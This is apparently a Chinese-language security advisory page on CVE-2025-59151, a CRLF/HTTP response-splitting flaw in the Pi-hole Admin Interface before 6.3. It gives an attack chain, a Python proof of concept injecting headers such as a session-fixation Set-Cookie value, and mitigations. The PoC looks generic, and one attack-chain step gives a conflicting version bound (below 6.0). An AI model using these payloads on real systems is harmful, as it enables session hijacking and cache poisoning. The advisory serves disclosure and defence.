IPBUF安全漏洞报告
English
CVE-2025-59151 CVSS 8.2 高危

CVE-2025-59151: Pi-hole Admin Interface CRLF注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-59151
漏洞类型
CRLF注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole Admin Interface

相关标签

CRLF注入Pi-holeHTTP响应拆分会话固定缓存中毒Web安全CVE-2025-59151高危漏洞

漏洞概述

Pi-hole Admin Interface是Pi-hole的网络管理界面,Pi-hole是一款网络级广告和互联网追踪器屏蔽应用程序。该漏洞存在于6.3之前的版本中,攻击者可以通过构造特殊的HTTP请求,利用.lp扩展名文件处理时的重定向功能,注入CRLF(回车换行)字符到HTTP响应头中。由于应用程序在执行重定向操作时未对用户输入进行充分的过滤和验证,攻击者可以插入任意的HTTP响应头,甚至可以操纵响应内容。这种攻击可能导致多种安全后果,包括会话固定攻击、缓存中毒、以及绕过浏览器安全机制如Content Security Policy(CSP)和X-XSS-Protection。由于该漏洞利用无需认证且复杂度较低,攻击者可以远程利用此漏洞,对使用Pi-hole的组织和个人造成安全风险。

技术细节

该漏洞属于HTTP响应拆分(HTTP Response Splitting)的一种形式,具体表现为CRLF注入。漏洞产生于Pi-hole Admin Interface处理.lp扩展名文件时的重定向逻辑。当用户请求一个.lp文件时,应用程序会执行重定向操作,但未对请求参数中的特殊字符进行适当清理。攻击者可以在URL参数中注入%0d%0a(CRLF的URL编码形式),这些字符在HTTP协议中分别代表回车符(CR,\r)和换行符(LF,\n)。通过精心构造的注入,攻击者能够在HTTP响应中插入额外的响应头或完全控制响应正文。例如,攻击者可以注入Set-Cookie头来实施会话固定攻击,或注入其他头部来实施缓存中毒攻击。由于HTTP头和正文之间以CRLF分隔,攻击者还可以操纵响应正文内容,从而实施跨站脚本攻击(XSS)。该漏洞的利用无需任何认证,攻击者可以直接通过发送恶意构造的HTTP请求来触发漏洞。修复版本6.3通过在重定向逻辑中添加输入验证和输出编码来消除此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标Pi-hole Admin Interface版本,确认版本低于6.0
STEP 2
步骤2
攻击者构造包含CRLF注入字符(%0d%0a)的恶意URL,目标是.lp扩展名的文件
STEP 3
步骤3
攻击者发送恶意HTTP请求到目标服务器,请求包含注入的HTTP头或重定向目标
STEP 4
步骤4
服务器处理请求时,未过滤CRLF字符,将恶意内容写入HTTP响应头
STEP 5
步骤5
攻击者实施具体攻击:会话固定(注入Set-Cookie)、缓存中毒或绕过CSP/XSS保护
STEP 6
步骤6
受害者访问被污染的页面或使用被固定的会话,攻击者实现窃取数据或执行恶意操作的目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-59151 CRLF Injection PoC # Target: Pi-hole Admin Interface < 6.3 # Vulnerability: CRLF injection in .lp file redirect def exploit_crlf_injection(target_url): """ Exploit CRLF injection vulnerability in Pi-hole Admin Interface Inject arbitrary HTTP headers via %0d%0a (CRLF) encoding """ # Malicious payload to inject custom HTTP header # %0d = CR (Carriage Return) # %0a = LF (Line Feed) injected_header = "X-Injected-Header: malicious" payload = f"/file.lp?redirect=%0d%0a{injected_header}%0d%0a" # Alternative payload for session fixation session_fixation_payload = "/file.lp?redirect=%0d%0aSet-Cookie:session=ATTACKER_SESSION" # Alternative payload for cache poisoning cache_poison_payload = "/file.lp?redirect=%0d%0aX-Cache: HIT" try: # Send exploit request exploit_url = target_url + payload response = requests.get(exploit_url, timeout=10) # Check if injection was successful if "X-Injected-Header" in str(response.headers) or \ "Set-Cookie" in str(response.headers) or \ response.status_code in [301, 302, 303]: print(f"[+] Exploit sent to {exploit_url}") print(f"[+] Response headers: {dict(response.headers)}") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "http://target-pi-hole.local/admin" exploit_crlf_injection(target)

影响范围

Pi-hole Admin Interface < 6.0
Pi-hole Admin Interface 6.0.x
Pi-hole Admin Interface 6.1.x
Pi-hole Admin Interface 6.2.x

防御指南

临时缓解措施
如果无法立即升级,可以考虑以下临时缓解措施:1)使用Web服务器(如Nginx)配置规则过滤请求中的%0d%0a字符;2)限制对.lp文件的访问;3)配置反向代理添加额外的安全层;4)监控日志中的异常CRLF注入尝试;5)考虑使用IPS/IDS系统检测此类攻击特征。建议尽快安排计划进行版本升级到6.3或更高版本来彻底消除该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表